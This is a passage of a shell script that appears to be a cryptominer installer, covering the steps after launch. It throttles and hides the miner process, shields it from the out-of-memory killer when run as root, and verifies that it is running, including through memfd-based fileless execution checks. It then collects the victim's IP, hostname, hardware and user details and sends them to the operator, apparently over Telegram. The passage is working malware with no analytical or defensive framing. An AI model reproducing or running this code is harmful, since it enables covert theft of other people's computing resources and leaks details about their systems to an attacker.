        nohup cpulimit -p "$MINER_PID" -l "$CPULIMIT_TOTAL" -b >/dev/null 2>&1 &
        disown 2>/dev/null
        CPU_OK=true
    fi
    if [ "$CPU_OK" = false ]; then
        renice 19 -p "$MINER_PID" >/dev/null 2>&1
        command -v ionice >/dev/null 2>&1 && ionice -c 3 -p "$MINER_PID" >/dev/null 2>&1
        if command -v taskset >/dev/null 2>&1; then
            CL=""
            for i in $(seq 0 $(( ALLOWED - 1 ))); do CL="${CL:+$CL,}$i"; done
            taskset -cp "$CL" "$MINER_PID" >/dev/null 2>&1
        fi
    fi
    [ "$IS_ROOT" = true ] && echo -999 > "/proc/$MINER_PID/oom_score_adj" 2>/dev/null
fi

# ============================================
# STEP 10: VERIFY
# ============================================
sleep 2
RUNNING=false
[ -f "$F_PID" ] && kill -0 "$(cat "$F_PID" 2>/dev/null)" 2>/dev/null && RUNNING=true
if [ "$RUNNING" = false ]; then
    command -v ss >/dev/null 2>&1 && ss -tnp state established 2>/dev/null | awk '{print $4}' | grep -qE ":1[0-8][0-9]{3}$" && RUNNING=true
fi
if [ "$RUNNING" = false ]; then
    for ep in /proc/[0-9]*/exe; do
        _rp=$(echo "$ep" | grep -o '[0-9]*' | tail -1)
        [ "$(stat -c %u "/proc/$_rp" 2>/dev/null)" = "$(id -u)" ] || continue
        readlink "$ep" 2>/dev/null | grep -q "memfd" && RUNNING=true && break
    done
fi

SYS_IP=$(curl -s4 --max-time 5 ifconfig.me 2>/dev/null || wget -qO- --timeout=5 ifconfig.me 2>/dev/null || echo "unknown")
SYS_CPU=$(grep -m1 'model name' /proc/cpuinfo 2>/dev/null | cut -d: -f2 | xargs || echo "unknown")

build_msg() {
    printf '<b>[Miner %s]</b>\n<b>Host:</b> %s\n<b>IP:</b> %s\n<b>OS:</b> %s\n<b>CPU:</b> %s (%sC/%sT)\n<b>RAM:</b> %sMB (free:%sMB)\n<b>RX:</b> %s | Port:%s\n<b>User:</b> %s (root=%s)\n<b>Tier:</b> %s\n<b>Limit:</b> %s%%' \
        "$1" "$(hostname 2>/dev/null)" "$SYS_IP" "${PRETTY_NAME:-unknown}" \
        "$SYS_CPU" "$CPU_CORES" "$THREADS" "$RAM_MB" "$RAM_FREE" \
        "$RX_MODE" "$MO_PORT" "$(whoami)" "$IS_ROOT" "$LOADER_MODE" "$CPU_LIMIT"
}

if [ "$RUNNING" = true ]; then
    tg_send "$(build_msg 'INSTALLED')"
    echo "OK"
else
    # Retry with longer wait
    bash "$F_STARTUP" >/dev/null 2>&1
    sleep 15
    RUNNING2=false
    [ -f "$F_PID" ] && kill -0 "$(cat "$F_PID" 2>/dev/null)" 2>/dev/null && RUNNING2=true
    [ "$RUNNING2" = false ] && command -v ss >/dev/null 2>&1 && \
        ss -tnp state established 2>/dev/null | awk '{print $4}' | grep -qE ":1[0-8][0-9]{3}$" && RUNNING2=true
    [ "$RUNNING2" = false ] && for ep in /proc/[0-9]*/exe; do
        _rp=$(echo "$ep" | grep -o '[0-9]*' | tail -1)
        [ "$(stat -c %u "/proc/$_rp" 2>/dev/null)" = "$(id -u)" ] || continue
        readlink "$ep" 2>/dev/null | grep -q "memfd" && RUNNING2=true && break
    done

    if [ "$RUNNING2" = true ]; then
        tg_send "$(build_msg 'INSTALLED (retry)')"
        echo "OK"
    else
        _dbg_pf="N"
        _dbg_alive="N"
        [ -f "$F_PID" ] && _dbg_pf="Y:$(cat "$F_PID" 2>/dev/null)"
        [ "$_dbg_pf" != "N" ] && kill -0 "$(cat "$F_PID" 2>/dev/null)" 2>/dev/null && _dbg_alive="Y"
        _dbg_pay="$([ -f "$F_PAYLOAD" ] && echo "Y:$(wc -c < "$F_PAYLOAD" 2>/dev/null)B" || echo N)"
        _dbg_ldr="$([ -f "$F_LOADER" ] && echo Y || echo N)"
        tg_send "$(build_msg 'FAILED')
<b>--- Debug ---</b>
<b>PIDfile:</b> $_dbg_pf | <b>Alive:</b> $_dbg_alive
<b>Payload:</b> $_dbg_pay | <b>Loader:</b> $_dbg_ldr
<b>Python3:</b> $(python3 --version 2>&1 | head -1)"
        echo "FAIL"
    fi
fi
